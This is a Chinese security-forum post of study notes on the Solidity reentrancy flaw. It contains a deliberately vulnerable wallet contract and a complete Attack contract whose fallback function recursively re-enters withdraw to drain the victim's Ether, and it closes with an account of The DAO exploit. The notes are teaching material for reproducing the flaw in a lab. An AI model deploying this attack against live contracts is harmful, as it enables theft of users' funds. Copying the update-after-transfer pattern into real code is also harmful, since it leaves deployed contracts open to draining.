首页
论坛
课程
招聘
雪    币: 217
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:40 )
在线值:
发帖
回帖
粉丝

[分享]智能合约Solidity漏洞学习笔记(一)Reentrancy - 重入

2018-6-12 02:34 4084

[分享]智能合约Solidity漏洞学习笔记(一)Reentrancy - 重入

2018-6-12 02:34
4084

solidity漏洞类型学习笔记(一)

以下代码内容皆参考于RICKGRAY师傅之前的文章《以太坊智能合约安全入门了解一下》,在此记录我在复现中发现的一些问题和学习记录。


Reentrancy - 重入


首先我们先参考代码实现一个类似公共钱包的代码,

pragma solidity ^0.4.19;

contract IDMoney{
    address _owner;
    mapping (address => uint256) balances;
    
    function IDMoney() {
        _owner = msg.sender; //构造函数中的msg.sender只能是创建者 
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw(address to, uint256 amount) public payable {
        require(balances[msg.sender] >= amount); //公共钱包中调用者的余额是否足够
        require(this.balance >= amount); //该合约资产是否足够
        
        to.call.value(amount*10**18)(); //此处amount单位是wei,这里我换算成ether
        balances[msg.sender] -= amount*10**18; 
    }
    function balanceof(address to) constant returns(uint256){
        return balances[to];
    }
}

balances定义了一个下标为[address]的公共钱包,deposit函数向钱包中调用者的位置存入相应的value值,withdraw函数检查提币账户的余额与该合约资产是否大于参数amount,之后向to地址发送相应Ether。


部署成功后我们调用deposit函数向钱包中存入25ether,可在balanceof处输入"0xca3...a733c"的地址查看钱包中该地址的余额是否为25*10^18wei。随后我们将这个钱包中的余额转给另一个外部用户:


此时的调用者依然是"0xca3...",拷贝第二个外部账户的地址"0x147..."。输入参数"0x147...",25调用withdraw()函数,成功转账。



这里存在着一个问题:当外部账户或其他合约向一个合约地址发送ether时,会执行该合约的fallback函数(当调用合约时没有匹配到函数,也会调用没有名字的fallback函数——The DAO)。且call.value()会将所有可用Gas给予外部调用(fallback函数),若在fallback函数中再调用withdraw函数,则会导致递归问题。攻击者可以部署一个恶意递归的合约将公共钱包这个合约账户里的Ether全部提出来。【1、call.value()提供了足够的Gas  2、资产的修改在转币之后】

Solidity 中 <address>.transfer(),<address>.send() 和 <address>.gas().call.vale()() 都可以用于向某一地址发送 ether,他们的区别在于:

 <address>.transfer()

 * 当发送失败时会 throw; 回滚状态

 * 只会传递 2300 Gas 供调用,防止重入(reentrancy) 

<address>.send()

 * 当发送失败时会返回 false 布尔值

 * 只会传递 2300 Gas 供调用,防止重入(reentrancy)

<address>.gas().call.value()() 

* 当发送失败时会返回 false 布尔值 

* 传递所有可用 Gas 进行调用(可通过 gas(gas_value) 进行限制),不能有效防止重入(reentrancy)


以下是rickgray师傅实现的攻击代码,有小修改,攻击流程在他的博客中也有GIF。

pragma solidity ^0.4.19;

contract IDMoney{
    address _owner;
    mapping (address => uint256) balances;
    
    function IDMoney() {
        _owner = msg.sender; 
    }
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }
    function withdraw(address to, uint256 amount) public payable {
        require(balances[msg.sender] >= amount);
        require(this.balance >= amount);
        
        to.call.value(amount)();
        balances[msg.sender] -= amount;
    }
    function balanceof(address to) constant returns(uint256){
        return balances[to];
    }
}

contract Attack {
    address owner;
    address victim;

    modifier ownerOnly { require(owner == msg.sender); _; }
    
    function Attack() payable { owner = msg.sender; }
    
    // 设置已部署的 IDMoney 合约实例地址
    function setVictim(address target) ownerOnly { victim = target; }
    
    // deposit Ether to IDMoney deployed
    function step1(uint256 amount) ownerOnly payable {
        if (this.balance > amount) {
            victim.call.value(amount)(bytes4(keccak256("deposit()")));
        }
    }
    // withdraw Ether from IDMoney deployed
    function step2(uint256 amount) ownerOnly {
        victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, amount);
    }
    // selfdestruct, send all balance to owner
    function stopAttack() ownerOnly {
        selfdestruct(owner);
    }

    function startAttack(uint256 amount) ownerOnly {
        step1(amount);
        step2(amount / 2);
    }

    function () payable {
        if (msg.sender == victim) {
            // 再次尝试调用 IDMoney 的 withdraw 函数,递归转币
            victim.call(bytes4(keccak256("withdraw(address,uint256)")), this, msg.value);
        }
    }
}

可能是Remix的原因我在一开始复现时就是不成功,后来查原因之后在输入参数处加上引号即可。



The DAO:

第一处红线向攻击者账户转钱,第二处withdrawRewardFor函数:


在payout中调用攻击者_recipient,但没有指定具体函数则调用fallback函数,在fallback函数中会再次调用splitDAO函数,实现恶意递归。在方框中的修改余额代码执行之前,就完成了偷钱操作。


[公告]看雪论坛2020激励机制上线了!发帖不减雪币了!如何获得积分快速升级?

最后于 2018-6-12 09:57 被luobobo编辑 ,原因:
最新回复 (2)
雪    币: 470
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:180 )
在线值:
发帖
回帖
粉丝
坐北朝南 活跃值 4 2018-6-12 13:07
2
0
围观大佬操作
雪    币: 2061
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:20 )
在线值:
发帖
回帖
粉丝
vlinkstone 活跃值 2018-6-12 13:10
3
0
围观大佬操作
游客
登录 | 注册 方可回帖
返回